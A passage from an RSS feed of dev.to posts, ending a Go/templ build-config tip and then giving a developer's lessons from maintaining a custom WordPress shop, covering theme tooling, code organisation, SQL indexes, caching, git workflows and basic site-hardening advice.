  bin = "./storage/temp/main"
&lt;span class="gd"&gt;-  cmd = "go build -o ./storage/temp/main ."
&lt;/span&gt;&lt;span class="gi"&gt;+  cmd = "templ generate &amp;amp;&amp;amp; go build -o ./storage/temp/main ."
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you are using Windows add &lt;code&gt;.exe&lt;/code&gt; to main in both bin and cmd parameters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[build]&lt;/span&gt;
  &lt;span class="py"&gt;bin&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"./storage/temp/main.exe"&lt;/span&gt;
  &lt;span class="py"&gt;cmd&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"templ generate &amp;amp;&amp;amp; go build -o ./storage/temp/main.exe ."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Done ! Happy coding !&lt;/p&gt;

</description>
      <category>go</category>
      <category>templ</category>
      <category>webdev</category>
      <category>framework</category>
    </item>
    <item>
      <title>What I learned by making and maintaining a custom WordPress shop</title>
      <dc:creator>Andrei Telteu</dc:creator>
      <pubDate>Mon, 23 Jan 2023 21:09:56 +0000</pubDate>
      <link>https://dev.to/andreitelteu/what-i-learned-making-a-custom-wordpress-shop-4n9f</link>
      <guid>https://dev.to/andreitelteu/what-i-learned-making-a-custom-wordpress-shop-4n9f</guid>
      <description>&lt;h2&gt;
  
  
  Backstory
&lt;/h2&gt;

&lt;p&gt;In 2019 we got a big client that wanted a big shop on WordPress at my job, even though our agency only used Laravel, CodeIgniter, and React-Native at that time, and we did not have experience working with WordPress.&lt;/p&gt;

&lt;p&gt;I was the guy with the most experience in WordPress at that time from personal hobby projects, so I was the main developer on that project, in which I learned a lot about WordPress.&lt;/p&gt;

&lt;p&gt;Working with Laravel for a few years, I wanted to bring to WordPress some of the features of Laravel, like Blade templates, Eloquent models, and a Router.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solutions
&lt;/h2&gt;

&lt;p&gt;The solutions I found at the time are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;a href="https://roots.io/sage/" rel="noopener noreferrer"&gt;Sage starter theme by Roots&lt;/a&gt;  - this gives us the Blade template engine that we are familiar with from Laravel.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/TheUnderScorer/wp-eloquent" rel="noopener noreferrer"&gt;TheUnderScorer/wp-eloquent&lt;/a&gt; - with this package installed in a custom WordPress plugin, in some parts of the project we used Eloquent ORM for general queries, in other parts we used the schema migration feature.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;At the time I did not find or did not choose a solution for the router and controllers. We did not have any particular requirement for this; it was just a nice-to-have. So I made my own, using WordPress REST API features.&lt;/p&gt;

&lt;p&gt;Looking back, &lt;a href="https://framework.themosis.com/" rel="noopener noreferrer"&gt;Themosis framework&lt;/a&gt; would have been a way better choice that incorporates all previously mentioned features, plus more: middleware, helpers for any wp native feature, and Custom Post Types with already made field types. I would choose Themosis if I had to do this again in WordPress.&lt;/p&gt;

&lt;p&gt;Even &lt;a href="https://github.com/smarteist/wordpress-router" rel="noopener noreferrer"&gt;smarteist/wordpress-router&lt;/a&gt; deserves a mention here. It's a lightweight router.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Let's use awesome features from WordPress as well. The Gutenberg editor was new and shiny at the time, and I found a simple way to make custom blocks with the Block Lab plugin, now renamed to Genesis Custom Blocks.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Advices
&lt;/h2&gt;

&lt;p&gt;A few pieces of advice when making a custom wp theme or plugin:&lt;/p&gt;

&lt;h3&gt;
  
  
  Don't do it ! (in certain scenarios)
&lt;/h3&gt;

&lt;p&gt;First of all, if you know this website will need to scale to multiple millions of pageviews a month, explain to your client that WordPress will eventually become very hard to scale and maintain and try to explore other options like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;WordPress headless (build the frontend in a different stack and only pull data from WordPress)&lt;/p&gt;

&lt;p&gt;I will present a solution for this in a future post using &lt;a href="https://start.solidjs.com/" rel="noopener noreferrer"&gt;Solid-Start&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Laravel with an administration panel (&lt;a href="https://nova.laravel.com/" rel="noopener noreferrer"&gt;Laravel Nova&lt;/a&gt;, &lt;a href="https://backpackforlaravel.com/" rel="noopener noreferrer"&gt;Backpack for Laravel&lt;/a&gt;, &lt;a href="https://filamentphp.com/" rel="noopener noreferrer"&gt;Filament Admin&lt;/a&gt; are some of the top choices)&lt;/p&gt;

&lt;p&gt;I will present my plugin &lt;a href="https://github.com/customberg/customberg-php" rel="noopener noreferrer"&gt;customberg/customberg-php&lt;/a&gt; in a future post, which makes it easy to create and deploy custom Gutenberg plugins.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Refactor functions.php
&lt;/h3&gt;

&lt;p&gt;Don't put everything in a single functions.php file!&lt;/p&gt;

&lt;p&gt;Instead, you can make a folder to organize your functions based on feature, and then load them manually or using a glob, in a try-catch block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// automatically with glob:&lt;/span&gt;
&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;glob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;__FILE__&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'/functions/*.php'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;\Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Custom functions failed: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' - '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// if you choose to include them manually, you can optionally enable&lt;/span&gt;
&lt;span class="c1"&gt;// them based on visitor IP/cookie (useful for testing in production)&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="nb"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;__FILE__&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'/functions/newsletter.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;\Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Custom functions failed: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Too many custom plugins does not help
&lt;/h3&gt;

&lt;p&gt;Don't make a custom plugin for every feature. It can cause problems when you want to use a function or helper from another custom plugin, and the benefits of custom plugins for every feature disappear because you end up with a plugin depending on another plugin.&lt;/p&gt;

&lt;h3&gt;
  
  
  SQL Indexes are essential
&lt;/h3&gt;

&lt;p&gt;Always check database schema created by third-party plugins for valid indexes!&lt;/p&gt;

&lt;p&gt;Not all plugin authors understand how to make efficient SQL indexes, and this will eventually cause you problems when you reach a certain scale.&lt;/p&gt;

&lt;p&gt;If you want to understand how to make very efficient composite indexes here is a great talk at Laracon Online by &lt;a href="https://youtu.be/f4QShF42c6E?t=21751" rel="noopener noreferrer"&gt;Aaron Francis - Database performance for Application Developers&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Sometimes you have to give up on plugin updates
&lt;/h3&gt;

&lt;p&gt;When you are relying very much on a third-party plugin, be prepared to give up on updates. We end up always wanting more customization from plugins, and when we don't have any action or filters to use, we have to modify the plugin and disable updates by setting the plugin version to 100.&lt;/p&gt;

&lt;p&gt;We had this happen also for plugin bugs or performance improvements.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sometimes custom is just better
&lt;/h3&gt;

&lt;p&gt;Sometimes custom integration with native WordPress functions instead of third-party plugins that do the same thing could be better in the long run. Because we did not create custom Gutenberg blocks using their native APIs, we relied on Block Lab too much, and now we have to migrate to Genesis Custom Blocks and individually test and maybe fix 57 blocks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Update &amp;gt;&amp;gt; Test
&lt;/h3&gt;

&lt;p&gt;Always test all your plugin customizations after every update.&lt;br&gt;
We had a few things break: Woocommerce cart count (used in a page template, and a block), custom email BCC header attached to a Contact Form 7 form.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prepare for cache from the start
&lt;/h3&gt;

&lt;p&gt;For better caching try to use javascript for user-related html differences, like different add-to-cart buttons when the product is already in the cart, recently viewed products, etc. If you make these features using PHP, you can't cache those paged publicly, only privately (individual cache per user), which is not efficient at scale. Instead make an ajax request and change the html via javascript.&lt;/p&gt;

&lt;h3&gt;
  
  
  Experiment with scaling options
&lt;/h3&gt;

&lt;p&gt;If you have problems when scaling up, try experimenting with different database solutions (like managed databases from a cloud provider), or different webserver and cache plugin combinations: like OpenLiteSpeed and LiteSpeed Cache, or Nginx and WP-Super-Cache, and also different settings on said plugins, for example for us Object cache using Redis from the LiteSpeed Cache plugin was generating a huge unnecessary load and making our shop load much slower.&lt;/p&gt;

&lt;h3&gt;
  
  
  Git
&lt;/h3&gt;

&lt;p&gt;If you try to use Git, having it on the entire installation (the base path) might save you from a catastrophe.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Add to gitignore any temporary folder, uploads, cache.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Commit after every individual update on wp or any plugin, might help you rollback safely if the new version breaks your customizations (beware some plugins make database modifications as well)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Having separate long-lived branches for your dev environments will help you compare the different modifications all over the place (theme assets, templates, functions, custom plugins, custom blocks, etc)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Beware: Making a merge between two long-lived branches can be dangerous. If you have different versions of WordPress or plugins it's a no-no because of database modifications, every WordPress or plugin update can make database modifications that don't carry over via git.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The way we deploy features to production is by comparing the two branches via git (VS Code extension &lt;a href="https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens" rel="noopener noreferrer"&gt;GitLens&lt;/a&gt;), and manually copying every modification.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Git for Security
&lt;/h3&gt;

&lt;p&gt;What I meant earlier by saving you from a catastrophe is, websites often can get hacked for multiple different causes, some of which are not in your control: weak passwords, plugin vulnerabilities, brute force, and server misconfigurations.&lt;/p&gt;

&lt;p&gt;Surely backups help here, but there is always that chance that a hack can be undetected for months, and because backups usually cover 1-2 weeks the backup can contain the virus as well pretty well hidden along WordPress core files.&lt;/p&gt;

&lt;p&gt;The way git helps here is you just periodically check using git status. The only flaw to this strategy is if the virus hides inside folders included in gitignore, like uploads or temporary folders.&lt;/p&gt;

&lt;h3&gt;
  
  
  Security
&lt;/h3&gt;

&lt;p&gt;Speaking of security, I can't endorse enough the plugin WordFence Security. Setup bruteforce permanent bans, two-factor authentication, and monitor successful login email alerts for IP locations that you don't recognize.&lt;br&gt;
Changing the login URL and the default admin username are great additions, also disable XML-RPC, and, as always, only use strong randomly generated passwords.&lt;/p&gt;

</description>
      <category>debugging</category>
      <category>gamedev</category>
      <category>gamechallenge</category>
    </item>
  </channel>
</rss>
